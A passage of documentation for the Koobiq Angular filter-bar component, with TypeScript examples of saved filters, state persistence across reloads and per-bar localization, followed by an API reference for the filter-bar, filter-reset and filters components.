    // Rebuilt whenever the locale changes: `*kbqPipe` builds a pipe component once from the object it is
    // given and ignores later changes to that binding, so the relabelled pipe only reaches the screen as
    // a new object.
    readonly activeFilter = linkedSignal(() => this.getDefaultFilter());

    readonly filteredNetworks = computed(() => {
        const query = (this.activeFilter()?.pipes[0]?.value as string | null) ?? '';
        const predicate = createSearchPredicate(query);

        return this.networks.filter((network) => predicate([network.name, network.description]));
    });

    onFilterChange(filter: KbqFilter | null) {
        if (!filter) return;

        this.activeFilter.set(filter);
    }

    getDefaultFilter(): KbqFilter {
        return {
            name: '',
            readonly: false,
            disabled: false,
            changed: false,
            saved: false,
            pipes: [createSearchPipe(this.text().search)]
        };
    }
}
```

#### Saving filters

The user can quickly get search results by selecting a saved filter, without re-configuring the parameters. It is also possible to create a new set of filters and use them in the future.

**Example: filter-bar-saved-filters** (`filter-bar-saved-filters`)

```ts filter-bar-saved-filters-example.ts
import {
    ChangeDetectionStrategy,
    Component,
    computed,
    inject,
    linkedSignal,
    TemplateRef,
    viewChild
} from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateFormatter } from '@koobiq/components/core';
import {
    KbqFilter,
    KbqFilterBar,
    KbqFilterBarModule,
    KbqPipe,
    KbqPipeTemplate,
    KbqPipeTypes,
    KbqSaveFilterEvent,
    KbqSaveFilterStatuses
} from '@koobiq/components/filter-bar';
import { KbqLink } from '@koobiq/components/link';
import { KbqToastData, KbqToastService, KbqToastStyle } from '@koobiq/components/toast';
import { injectLocalizedPeriods, injectLocalizedText } from '../localized-data';

interface ExampleFilter extends KbqFilter {
    id?: number;
}

/** Text search is the first pipe in every filter: always present, never removable. */
const createSearchPipe = (name: string): KbqPipe => ({
    name,
    type: KbqPipeTypes.Input,
    value: null,

    cleanable: true,
    removable: false,
    disabled: false
});

@Component({
    selector: 'filter-bar-saved-filters-example',
    imports: [
        KbqFilterBarModule,
        LuxonDateModule,
        KbqLink
    ],
    template: `
        <kbq-filter-bar
            [pipeTemplates]="pipeTemplates()"
            [filter]="activeFilter()"
            (filterChange)="onFilterChange($event)"
        >
            <kbq-filters
                [filters]="filters()"
                (onSave)="onSaveFilter($event)"
                (onResetFilterChanges)="onResetFilterChanges($event)"
                (onRemoveFilter)="onDeleteFilter($event)"
            />

            @for (pipe of activeFilter()?.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }

            <kbq-pipe-add />

            @if (activeFilter()?.name !== defaultFilter()?.name || activeFilter()?.changed) {
                <kbq-filter-reset (onResetFilter)="onResetFilter()" />
            }
        </kbq-filter-bar>

        <ng-template #toastErrorTitleTemplate let-toast>
            {{ toast.data.text }}
            <span class="kbq-text-normal-strong">{{ toast.data.filter.name }}</span>
        </ng-template>

        <ng-template #errorToastActions let-toast>
            <a kbqLink [pseudo]="true" (click)="toast.close()">{{ text().retry }}</a>
        </ng-template>
    `,
    providers: [DateFormatter],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarSavedFiltersExample {
    readonly toastService = inject(KbqToastService);

    readonly errorToastActionsTemplate = viewChild.required<TemplateRef<any>>('errorToastActions');
    readonly toastErrorTitleTemplate = viewChild.required<TemplateRef<any>>('toastErrorTitleTemplate');

    /** Period labels follow the active locale, so everything built out of them is rebuilt with it. */
    protected readonly periods = injectLocalizedPeriods();

    /** Text the example owns: it has no counterpart in the library's locale data. */
    protected readonly text = injectLocalizedText({
        'ru-RU': {
            search: 'Поиск',
            retry: 'Повторить',
            deleteError: 'Не удалось удалить фильтр: ',
            saveError: (name: string) => `Не удалось сохранить фильтр: ${name}`
        },
        default: {
            search: 'Search',
            retry: 'Retry',
            deleteError: 'Could not delete the filter: ',
            saveError: (name: string) => `Could not save the filter: ${name}`
        }
    });

    // Everything below is derived from the period labels, so it is rebuilt whenever the locale changes:
    // `*kbqPipe` builds a pipe component once from the object it is given and ignores later changes to
    // that binding, so a relabelled period only reaches the screen as a new pipe object.
    readonly filters = linkedSignal(() => this.createFilters());
    readonly savedFilters = computed(() => this.createSavedFilters());

    readonly defaultFilter = computed<KbqFilter | null>(() => this.getDefaultFilter());
    readonly activeFilter = linkedSignal<KbqFilter | null>(() => this.createFilters()[0]);

    readonly pipeTemplates = computed<KbqPipeTemplate[]>(() => [
        {
            name: 'Date',
            type: KbqPipeTypes.Date,
            values: this.periods.date(),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Datetime',
            type: KbqPipeTypes.Datetime,
            values: this.periods.datetime(),
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'MultiSelect',
            type: KbqPipeTypes.MultiSelect,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Select',
            type: KbqPipeTypes.Select,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' },
                { name: 'Option 4', id: '4' },
                { name: 'Option 5', id: '5' },
                { name: 'Option 6', id: '6' },
                { name: 'Option 7', id: '7' }
            ],

            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Text',
            type: KbqPipeTypes.Text,

            cleanable: false,
            removable: true,
            disabled: false
        }
    ]);

    onFilterChange(filter: KbqFilter | null) {
        // KbqFilterBar flips `changed` to true on any pipe edit but never back to false.
        // Re-derive it by diffing the pipes against the filter's initial (saved/default) state,
        // so reverting the pipes also clears `changed` and hides <kbq-filter-reset>.
        const initialFilter = filter ? this.getInitialFilter(filter) : null;

        this.activeFilter.set(
            filter && initialFilter && this.arePipesEqual(filter.pipes, initialFilter.pipes)
                ? { ...filter, changed: false }
                : filter
        );
    }

    onResetFilter() {
        console.log('onResetFilter');

        this.activeFilter.set(this.getDefaultFilter(true));
    }

    onResetFilterChanges(filter: KbqFilter | null) {
        console.log('onResetFilterChanges');

        const defaultFilter = this.getSavedFilter(filter);

        this.filters.update((filters) => filters.map((item) => (item.name === filter?.name ? defaultFilter : item)));

        this.activeFilter.set(defaultFilter);
    }

    onDeleteFilter(filter: ExampleFilter) {
        console.log('onDeleteFilter: ', filter);

        if (filter.id === 3) {
            this.toastService.show({
                style: KbqToastStyle.Error,
                title: this.toastErrorTitleTemplate(),
                closeButton: true,
                actions: this.errorToastActionsTemplate(),
                text: this.text().deleteError,
                filter
            } as KbqToastData);
        } else {
            this.filters.update((filters) => filters.filter(({ name }) => name !== filter?.name));

            this.activeFilter.set(this.getDefaultFilter());
        }
    }

    onSaveFilter({ filter, filterBar, status }: KbqSaveFilterEvent & { filter: ExampleFilter }) {
        console.log('onSaveFilter: ', filter);

        setTimeout(() => {
            if (filter.id === 2) {
                filterBar.filters()?.filterSavedUnsuccessfully({ text: this.text().saveError(filter.name) });
            } else if (status === KbqSaveFilterStatuses.NewFilter) {
                this.saveNewFilter(filter, filterBar);
            } else if (status === KbqSaveFilterStatuses.NewName) {
                this.saveCurrentFilterWithNewName(filter, filterBar);
            } else if (status === KbqSaveFilterStatuses.OnlyChanges) {
                this.saveCurrentFilterWithChangesInPipes(filter, filterBar);
            }
        }, 3000);
    }

    saveNewFilter(filter: KbqFilter, filterBar: KbqFilterBar) {
        // This logic simulates the behavior of the backend
        if (!this.filters().some(({ name }) => name === filter.name)) {
            this.filters.update((filters) => [...filters, filter]);

            this.activeFilter.set(filter);

            filterBar.filters()?.filterSavedSuccessfully();
        } else {
            filterBar.filters()?.filterSavedUnsuccessfully({ nameAlreadyExists: true });
        }
    }

    saveCurrentFilterWithNewName(filter: KbqFilter, filterBar: KbqFilterBar) {
        // This logic simulates the behavior of the backend
        if (filterBar.filter()?.name === filter.name) {
            filterBar.filters()?.filterSavedUnsuccessfully({ nameAlreadyExists: true });

            return;
        }

        const currentName = filterBar.filter()?.name;

        // A filter the store does not know about cannot be renamed.
        if (!this.filters().some(({ name }) => name === currentName)) {
            filterBar.filters()?.filterSavedUnsuccessfully();

            return;
        }

        // Renaming writes the name only: the stored pipes stay as they were saved, so unsaved changes
        // in the bar are not persisted along with the new name.
        this.filters.update((filters) =>
            filters.map((item) => (item.name === currentName ? { ...item, name: filter.name } : item))
        );

        this.activeFilter.set(filter);

        filterBar.filters()?.filterSavedSuccessfully();
    }

    saveCurrentFilterWithChangesInPipes(filter: KbqFilter, filterBar: KbqFilterBar) {
        // This logic simulates the behavior of the backend
        this.filters.update((filters) => filters.map((item) => (item.name === filter.name ? filter : item)));

        this.activeFilter.set(filter);

        filterBar.filters()?.filterSavedSuccessfully();
    }

    getSavedFilter(filter: KbqFilter | null): KbqFilter {
        return structuredClone(this.savedFilters().find(({ name }) => name === filter?.name)!);
    }

    /** Pristine (saved or default) version of a filter — the baseline for change detection. */
    getInitialFilter(filter: KbqFilter): KbqFilter | null {
        return filter.name === this.defaultFilter()?.name
            ? this.defaultFilter()
            : (this.savedFilters().find(({ name }) => name === filter.name) ?? null);
    }

    /** Whether two pipe lists are equivalent (same name/type/value) — detects a return to the initial state. */
    arePipesEqual(a: KbqPipe[], b: KbqPipe[]): boolean {
        const serialize = (pipes: KbqPipe[]): string =>
            JSON.stringify(pipes.map(({ name, type, value }) => ({ name, type, value })));

        return serialize(a) === serialize(b);
    }

    createFilters(): ExampleFilter[] {
        return [
            {
                name: 'Saved Filter 1',
                id: 1,
                readonly: false,
                disabled: false,
                changed: true,
                saved: true,
                pipes: [
                    createSearchPipe(this.text().search),
                    {
                        name: 'Datetime',
                        value: this.periods.pick({ unit: 'days', amount: -7 }),
                        type: KbqPipeTypes.Datetime,

                        cleanable: false,
                        removable: false,
                        disabled: false
                    },
                    {
                        name: 'Select',
                        value: { name: 'Option 6', id: '6' },
                        type: KbqPipeTypes.Select,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    },
                    {
                        name: 'Text',
                        value: 'Text: Edited filter with unsaved changes',
                        type: KbqPipeTypes.Text,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    }
                ]
            },
            {
                name: 'Saved Filter 2 (save Error)',
                id: 2,
                readonly: false,
                disabled: false,
                changed: false,
                saved: true,
                pipes: [
                    createSearchPipe(this.text().search),
                    {
                        name: 'Datetime',
                        value: this.periods.pick({ unit: 'years', amount: -1 }),
                        type: KbqPipeTypes.Datetime,

                        cleanable: false,
                        removable: false,
                        disabled: false
                    },
                    {
                        name: 'MultiSelect',
                        value: [
                            { name: 'Option 1', id: '1' },
                            { name: 'Option 3', id: '3' },
                            { name: 'Option 4', id: '4' }
                        ],
                        type: KbqPipeTypes.MultiSelect,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    },
                    {
                        name: 'Date',
                        value: this.periods.pick({ unit: 'days', amount: -7 }),
                        type: KbqPipeTypes.Date,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    }
                ]
            },
            {
                name: 'Saved Filter 3 (delete Error)',
                id: 3,
                readonly: false,
                disabled: false,
                changed: false,
                saved: true,
                pipes: [
                    createSearchPipe(this.text().search),
                    {
                        name: 'Datetime',
                        value: this.periods.pick({ unit: 'days', amount: -3 }),
                        type: KbqPipeTypes.Datetime,

                        cleanable: false,
                        removable: false,
                        disabled: false
                    },
                    {
                        name: 'Select',
                        value: { name: 'Option 5', id: '5' },
                        type: KbqPipeTypes.Select,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    },
                    {
                        name: 'MultiSelect',
                        value: [
                            { name: 'Option 1', id: '1' },
                            { name: 'Option 2', id: '2' }
                        ],
                        type: KbqPipeTypes.MultiSelect,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    }
                ]
            }
        ];
    }

    /**
     * The pristine versions the store holds. "Saved Filter 1" deliberately differs from the filter of
     * the same name above, so the bar starts with unsaved changes to demonstrate.
     */
    createSavedFilters(): KbqFilter[] {
        const [, saveError, deleteError] = this.createFilters();

        return [
            {
                name: 'Saved Filter 1',
                readonly: false,
                disabled: false,
                changed: false,
                saved: true,
                pipes: [
                    createSearchPipe(this.text().search),
                    {
                        name: 'Datetime',
                        value: this.periods.pick({ unit: 'days', amount: -7 }),
                        type: KbqPipeTypes.Datetime,

                        cleanable: false,
                        removable: false,
                        disabled: false
                    },
                    {
                        name: 'Select',
                        value: { name: 'Option 3', id: '3' },
                        type: KbqPipeTypes.Select,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    },
                    {
                        name: 'Text',
                        value: 'Angular Rules',
                        type: KbqPipeTypes.Text,

                        cleanable: false,
                        removable: true,
                        disabled: false
                    }
                ]
            },
            structuredClone(saveError),
            structuredClone(deleteError)
        ];
    }

    /**
     * `openOnReset` is only for the filter the reset itself builds: the bar's reset stream stays latched
     * at `true`, so a pipe re-created for any other reason — a locale change, say — would replay it and
     * pop its panel open unprompted.
     */
    getDefaultFilter(openOnReset = false): KbqFilter {
        return {
            name: '',
            readonly: false,
            disabled: false,
            changed: false,
            saved: false,
            pipes: [
                createSearchPipe(this.text().search),
                {
                    name: 'Date',
                    value: this.periods.pick({ unit: 'days', amount: -1 }),
                    type: KbqPipeTypes.Date,

                    cleanable: false,
                    removable: false,
                    disabled: false,
                    openOnReset
                }
            ]
        };
    }
}
```

#### State Saving

The filter bar remembers which filter is selected and the edits made to it, and restores the state after a page reload. On by default — use `[useStateSaving]="false"` to turn it off on a specific component.

This is a different thing from the section above. There the user saves a named filter, and the application stores it; here the component keeps the state on the device.

**Example: filter-bar-state-saving** (`filter-bar-state-saving`)

```ts filter-bar-state-saving-example.ts
import { ChangeDetectionStrategy, Component, viewChild } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import {
    KbqFilter,
    KbqFilterBar,
    KbqFilterBarModule,
    KbqPipeTemplate,
    KbqPipeTypes
} from '@koobiq/components/filter-bar';

const SELECT_VALUES = [
    { name: 'Option 1', id: '1' },
    { name: 'Option 2', id: '2' },
    { name: 'Option 3', id: '3' }
];

@Component({
    selector: 'filter-bar-state-saving-example',
    imports: [KbqFilterBarModule, KbqButtonModule],
    template: `
        <kbq-filter-bar
            stateSavingKey="filter-bar-state-saving-example"
            [pipeTemplates]="pipeTemplates"
            [(filter)]="activeFilter"
        >
            <kbq-filters [filters]="filters" />

            @for (pipe of activeFilter?.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }

            <kbq-pipe-add />
        </kbq-filter-bar>

        <div class="example-filter-bar-state-saving__footer">
            <button kbq-button type="button" (click)="filterBar().clearSavedState()">Reset saved state</button>
        </div>
    `,
    styles: `
        .example-filter-bar-state-saving__footer {
            margin-top: var(--kbq-size-l);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarStateSavingExample {
    protected readonly filterBar = viewChild.required(KbqFilterBar);

    /**
     * Pick a filter, change a pipe or add one, then reload the page — the selection and the edits come
     * back. What is stored is the filter's name and the values of its pipes, so an application that
     * renames or deletes a saved filter simply gets nothing restored for it.
     */
    protected activeFilter: KbqFilter | null = null;

    protected filters: KbqFilter[] = [
        {
            name: 'Errors',
            readonly: false,
            disabled: false,
            changed: false,
            saved: true,
            pipes: [
                {
                    name: 'Select',
                    type: KbqPipeTypes.Select,
                    value: SELECT_VALUES[0],
                    cleanable: true,
                    removable: true,
                    disabled: false
                }
            ]
        },
        {
            name: 'Everything else',
            readonly: false,
            disabled: false,
            changed: false,
            saved: true,
            pipes: [
                {
                    name: 'Text',
                    type: KbqPipeTypes.Text,
                    value: 'Angular',
                    cleanable: true,
                    removable: true,
                    disabled: false
                }
            ]
        }
    ];

    protected pipeTemplates: KbqPipeTemplate[] = [
        {
            name: 'Select',
            type: KbqPipeTypes.Select,
            values: SELECT_VALUES,
            cleanable: true,
            removable: true,
            disabled: false
        },
        {
            name: 'Text',
            type: KbqPipeTypes.Text,
            cleanable: true,
            removable: true,
            disabled: false
        }
    ];
}
```

Restoring writes through the `filter` model, so it overrides the value a `[filter]` binding supplied at initialization, and `filterChange` fires before the user has touched anything. Only a later change wins.

Project the pipes from the value the bar reports — bind `[(filter)]`, or assign what `(filterChange)` hands you. Restoring replaces the filter object and every pipe in it, exactly as picking a filter from `<kbq-filters>` already does, so a pipe projected from an array of your own is no longer the one in `filter`: editing it does not reach the persisted state, and its remove button stops working.

Values come back as new objects, which is what `compareWith` is for — see [Filter types](#filter-types). A filter is identified by its `name`, so one that is no longer in `filters` restores nothing. A pipe is rebuilt from the filter or from `pipeTemplates`, so one your application builds itself, outside both, is not restored — put it in `pipeTemplates` if it has to come back.

`clearSavedState()` removes what is stored, and `hasSavedState` says whether anything is. Neither has anything to do with `saveFilterState()` / `restoreFilterState()`, which snapshot the filter in memory within one session.

Keys, storage and expiry work the same for every component that persists — see [Saving component state](https://koobiq.io/en/components/core.md#saving-component-state).

#### Localization

The filter bar takes its own strings — the filters menu, the reset button, pipe tooltips and the date pipe's custom-period flow — from `KbqLocaleService`. The data you pass in `pipeTemplates` and `filter` is never translated: those labels are yours to produce. The example below derives the period labels of its `datetime` pipe from the active locale with `DateFormatter.duration()`, so they follow the locale of the bar they belong to. The option list follows `pipeTemplates`, so handing the bar a new list relabels it in place. The label stored in a pipe's own value does not: `*kbqPipe` builds a pipe component once from the object it is given and ignores later changes to that binding, so the examples below rebuild their filters for it.

There are three ways to control the locale. `KBQ_DEFAULT_LOCALE_ID` is the fallback (`ru-RU`) used when nothing else is provided — it is a plain constant, not an injection token, so it cannot be provided. `KBQ_LOCALE_ID` fixes the locale once, when `KbqLocaleService` is constructed; it has to be provided alongside the service itself, because the service reads the token from the injector that created it. `KbqLocaleService.setLocale()` changes the locale at runtime.

Each bar below provides its own `KbqLocaleService`, so they are isolated from each other and from the language selector in the footer of this site.

**Example: filter-bar-localization** (`filter-bar-localization`)

```ts filter-bar-localization-example.ts
import { ChangeDetectionStrategy, Component, computed, linkedSignal, Provider } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { LuxonDateAdapter } from '@koobiq/angular-luxon-adapter/adapter';
import {
    DateAdapter,
    DateFormatter,
    kbqInjectLocaleService,
    kbqLocaleIDProvider,
    kbqLocaleServiceProvider
} from '@koobiq/components/core';
import { KbqFilter, KbqFilterBarModule, KbqPipeTemplate, KbqPipeTypes } from '@koobiq/components/filter-bar';
import { KbqSelectModule } from '@koobiq/components/select';
import { injectLocalizedPeriods } from '../localized-data';

/**
 * The date pipe resolves `DateAdapter` and `DateFormatter` through the element injector, so both must be
 * provided next to the locale service. `imports: [LuxonDateModule]` would provide `DateAdapter` in the
 * environment injector instead, where it resolves the application-wide locale service and formats dates —
 * calendar month names included — in a different locale than the rest of the bar. `DateFormatter` is not
 * part of that module at all, so it has to be listed here in either case.
 */
const scopedDateProviders: Provider[] = [{ provide: DateAdapter, useClass: LuxonDateAdapter }, DateFormatter];

/**
 * The bar itself, identical in every variant. `KbqFilterBar` is the only component that reads
 * `KBQ_LOCALE_SERVICE` — its sub-components and pipes take their strings from the bar — so whichever
 * ancestor provides the service localizes the whole thing.
 *
 * The data is a different matter: the bar never translates what it is handed, so the period labels are
 * built here out of the active locale, and every variant below gets its own instance of them.
 */
@Component({
    selector: 'localization-demo-bar',
    imports: [KbqFilterBarModule],
    template: `
        <kbq-filter-bar [pipeTemplates]="pipeTemplates()" [(filter)]="filter">
            <kbq-filters [filters]="savedFilters" />

            @for (pipe of filter().pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }

            <kbq-pipe-add />

            <kbq-filter-reset (onResetFilter)="onResetFilter()" />
        </kbq-filter-bar>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LocalizationDemoBar {
    private readonly periods = injectLocalizedPeriods();

    protected readonly savedFilters: KbqFilter[] = [];

    // Rebuilt whenever the locale changes: `*kbqPipe` builds a pipe component once from the object it is
    // given and ignores later changes to that binding, so the relabelled period only reaches the screen
    // as a new pipe object. Pipes write their value in place, so every bar needs its own instance anyway.
    protected readonly filter = linkedSignal(() => this.createFilter());

    protected readonly pipeTemplates = computed<KbqPipeTemplate[]>(() => [
        {
            name: 'Period',
            type: KbqPipeTypes.Datetime,
            // The three periods this example has always offered; the point here is the controls
            // around them, not the list.
            values: [
                this.periods.pick({ unit: 'hours', amount: -24 }),
                this.periods.pick({ unit: 'days', amount: -7 }),
                this.periods.pick({ unit: 'days', amount: -30 })
            ],
            cleanable: false,
            removable: false,
            disabled: false
        },
        {
            name: 'Status',
            type: KbqPipeTypes.Select,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' }
            ],
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Tags',
            type: KbqPipeTypes.MultiSelect,
            selectAll: true,
            values: [
                { name: 'Option 1', id: '1' },
                { name: 'Option 2', id: '2' },
                { name: 'Option 3', id: '3' }
            ],
            cleanable: false,
            removable: true,
            disabled: false
        },
        {
            name: 'Text',
            type: KbqPipeTypes.Text,
            cleanable: false,
            removable: true,
            disabled: false
        }
    ]);

    protected onResetFilter(): void {
        this.filter.set(this.createFilter());
    }

    private createFilter(): KbqFilter {
        return {
            name: '',
            readonly: false,
            disabled: false,
            changed: false,
            saved: false,
            pipes: [
                {
                    name: 'Period',
                    type: KbqPipeTypes.Datetime,
                    value: this.periods.pick({ unit: 'hours', amount: -24 }),
                    cleanable: false,
                    removable: false,
                    disabled: false
                }
            ]
        };
    }
}

/** Without `KBQ_LOCALE_ID` the service falls back to `KBQ_DEFAULT_LOCALE_ID`, which is `ru-RU`. */
@Component({
    selector: 'localization-default-locale',
    imports: [LocalizationDemoBar],
    template: `
        <localization-demo-bar />
    `,
    providers: [kbqLocaleServiceProvider(), ...scopedDateProviders],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LocalizationDefaultLocale {}

/**
 * `kbqLocaleIDProvider` sets the locale once, when the service is constructed. Both providers have to sit
 * in the same `providers` array: `KbqLocaleService` reads `KBQ_LOCALE_ID` from the injector that created
 * it, so providing the id without the service leaves the application-wide service — and its locale — in
 * charge.
 */
@Component({
    selector: 'localization-static-locale',
    imports: [LocalizationDemoBar],
    template: `
        <localization-demo-bar />
    `,
    providers: [kbqLocaleIDProvider('en-US'), kbqLocaleServiceProvider(), ...scopedDateProviders],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LocalizationStaticLocale {}

/** `setLocale()` re-localizes every filter-bar under this component at runtime. */
@Component({
    selector: 'localization-runtime-locale',
    imports: [LocalizationDemoBar, KbqSelectModule, FormsModule],
    template: `
        <div class="layout-column layout-gap-s">
            <kbq-form-field style="max-width: 200px">
                <kbq-select [ngModel]="localeService.localeId()" (ngModelChange)="localeService.setLocale($event)">
                    @for (item of localeService.locales.items; track item.id) {
                        <kbq-option [value]="item.id">{{ item.name }}</kbq-option>
                    }
                </kbq-select>
            </kbq-form-field>

            <localization-demo-bar />
        </div>
    `,
    providers: [kbqLocaleServiceProvider(), ...scopedDateProviders],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LocalizationRuntimeLocale {
    protected readonly localeService = kbqInjectLocaleService();
}

@Component({
    selector: 'filter-bar-localization-example',
    imports: [LocalizationDefaultLocale, LocalizationStaticLocale, LocalizationRuntimeLocale],
    template: `
        <div class="layout-column layout-gap-3xl">
            <div class="layout-column layout-gap-s">
                <div class="kbq-text-compact-strong">Default locale — KBQ_DEFAULT_LOCALE_ID (ru-RU)</div>
                <localization-default-locale />
            </div>

            <div class="layout-column layout-gap-s">
                <div class="kbq-text-compact-strong">Fixed locale — KBQ_LOCALE_ID ('en-US')</div>
                <localization-static-locale />
            </div>

            <div class="layout-column layout-gap-s">
                <div class="kbq-text-compact-strong">Runtime locale — KbqLocaleService.setLocale()</div>
                <localization-runtime-locale />
            </div>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FilterBarLocalizationExample {}
```

### API

#### Components

##### KbqFilterBar (component)

```ts
@Component({ selector: 'kbq-filter-bar, [kbq-filter-bar]' })
class KbqFilterBar implements KbqFilterBarHost {
    readonly selectedAllEqualsSelectedNothing = input<boolean>(true);
    readonly filter = model<KbqFilter | null>(null);
    readonly pipeTemplates = input<KbqPipeTemplate[]>([]);
    readonly onChangePipe = output<KbqPipe>();
    readonly onRemovePipe = output<KbqPipe>();
    readonly onClearPipe = output<KbqPipe>();
    readonly onClosePipe = output<KbqPipe>();
    readonly localeConfiguration: Signal<KbqFilterBarLocaleConfiguration>;
    readonly isSaved: Signal<boolean>;
    readonly isChanged: Signal<boolean>;
    readonly isSavedAndChanged: Signal<boolean>;
    readonly isReadOnly: Signal<boolean>;
    readonly isDisabled: Signal<boolean>;
    readonly onResetFilter: BehaviorSubject<boolean>;
    readonly internalFilterChanges: BehaviorSubject<KbqFilter | null>;
    readonly internalTemplatesChanges: BehaviorSubject<KbqPipeTemplate[] | null>;
    get hasSavedState(): boolean;
    clearSavedState(): void;
    removePipe(pipe: KbqPipe): void;
    saveFilterState(filter?: KbqFilter): void;
    restoreFilterState(filter?: KbqFilter): void;
    resetFilterChangedState(): void;
}
```

- `[selectedAllEqualsSelectedNothing]`: `boolean` — This is special logic that unselect all items when all selected because "all selected = nothing selected".
  Default is true
- `[(filter)]`: `KbqFilter | null` — Filter that is currently selected. A two-way-bindable `model()`: derived state (`isSaved`/`isChanged`/…)
  is exposed via `computed()` off it and change detection is driven by signal reactivity. `model()`
  auto-provides the `filterChange` output for `[(filter)]` two-way binding.
- `[pipeTemplates]`: `KbqPipeTemplate[]` — An array of templates that are used when adding a pipe. Also contains lists of options to select (values).
- `[useStateSaving]`: `boolean` — Whether the component remembers its state across reloads and restores it on the next render.
  Defaults to `true`, or to whatever `KBQ_STATE_SAVING_ENABLED` is provided as.
- `[stateSavingKey]`: `string` — The key the state is persisted under. While it is empty the key is derived from where the
  component sits in the document, which moves when the surrounding markup is restructured — an `id`
  on the component or any ancestor pins it just as well as this input does.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `(onChangePipe)`: `KbqPipe` — Event that emits whenever the value of the pipe changes.
- `(onRemovePipe)`: `KbqPipe` — Event that emits whenever the pipe deleted.
- `(onClearPipe)`: `KbqPipe` — Event that emits whenever the pipe cleared.
- `(onClosePipe)`: `KbqPipe` — Event that emits whenever the select or multiselect pipe closed.
- `localeConfiguration`: `Signal<KbqFilterBarLocaleConfiguration>` — Localized strings and configuration for the filter-bar and its pipes.

  Read through a signal so that a runtime `setLocale()` reaches the pipes and the projected
  sub-components, which render these strings from their own `OnPush` views.
- `isSaved`: `Signal<boolean>` — Whether the current filter is saved
- `isChanged`: `Signal<boolean>` — Whether the current filter is changed
- `isSavedAndChanged`: `Signal<boolean>` — Whether the current filter is saved and changed
- `isReadOnly`: `Signal<boolean>` — Whether the current filter is readonly
- `isDisabled`: `Signal<boolean>` — Whether the current filter is disabled
- `onResetFilter`: `BehaviorSubject<boolean>` — Event that emits whenever the filter is reset.
- `internalFilterChanges`: `BehaviorSubject<KbqFilter | null>` — internal filter changes
- `internalTemplatesChanges`: `BehaviorSubject<KbqPipeTemplate[] | null>` — internal changes in templates
- `hasSavedState`: `boolean` — Whether state is currently persisted for this filter bar — restored on init, or written since.
  Always `false` while `useStateSaving` is unset, and `false` again after `clearSavedState()`.
- `clearSavedState()`: `void` — Removes the state persisted for this filter bar.

  Persistence itself stays on — the next change is written again. Unset `useStateSaving` to stop it.
  Unrelated to `restoreFilterState()`, which reverts to an in-memory snapshot within one session.
- `removePipe()`: `void` — Remove pipe from current filter and emit event
- `saveFilterState()`: `void` — Save current state of filter.

  Deep-clones the filter via `structuredClone`, so any pipe `value` payload handed to save/restore must be
  structured-cloneable (plain data — no functions, DOM nodes, class instances or `TemplateRef`s), otherwise
  `structuredClone` throws `DataCloneError`. All built-in pipes produce cloneable values.
- `restoreFilterState()`: `void` — Restore previously saved filter state. As with `saveFilterState`, pipe `value` payloads must be
  structured-cloneable.
- `resetFilterChangedState()`: `void` — Set the filter state "changed" to false

##### KbqFilterRefresher (component)

```ts
@Component({ selector: 'kbq-filter-refresher, [kbq-filter-refresher]' })
class KbqFilterRefresher {}
```

##### KbqFilterReset (component)

```ts
@Component({ selector: 'kbq-filter-reset' })
class KbqFilterReset {
    readonly onResetFilter = output<KbqFilter | null>();
}
```

- `(onResetFilter)`: `KbqFilter | null` — Event that is generated whenever the user reset a filter.

##### KbqFilters (component)

```ts
@Component({ selector: 'kbq-filters', exportAs: 'kbqFilters' })
class KbqFilters {
    readonly filters = input.required<KbqFilter[]>();
    readonly onSelectFilter = output<KbqFilter>();
    readonly onSave = output<KbqSaveFilterEvent>();
    readonly onChangeFilter = output<KbqSaveFilterEvent>();
    readonly onRemoveFilter = output<KbqFilter>();
    readonly onResetFilterChanges = output<KbqFilter | null>();
    readonly searchControl: FormControl<string | null>;
    readonly filteredOptions: Signal<KbqFilter[]>;
    get opened(): boolean;
    get filterActionsOpened(): boolean;
    get filter(): KbqFilter | null;
    get isEmpty(): boolean;
    selectFilter(filter: KbqFilter): void;
    saveChanges(): void;
    restoreFocus(): void;
    resetFilterChanges(): void;
    removeFilter(): void;
    filterSavedSuccessfully(): void;
    filterSavedUnsuccessfully(error?: KbqSaveFilterError): void;
}
```

- `(onSelectFilter)`: `KbqFilter` — Event that is generated whenever the user selects a filter.
- `(onSave)`: `KbqSaveFilterEvent` — Event that is generated whenever the user save a filter.

  The emitted `filter` shares its pipe objects with the live filter by design (so the rendered pipes keep
  their identity across a save instead of being destroyed and recreated). Consumers that persist
  `event.filter` as an immutable record should snapshot it first (e.g. via `KbqFilterBar.saveFilterState`
  or a structural copy) — otherwise later in-place pipe edits will mutate the stored reference.
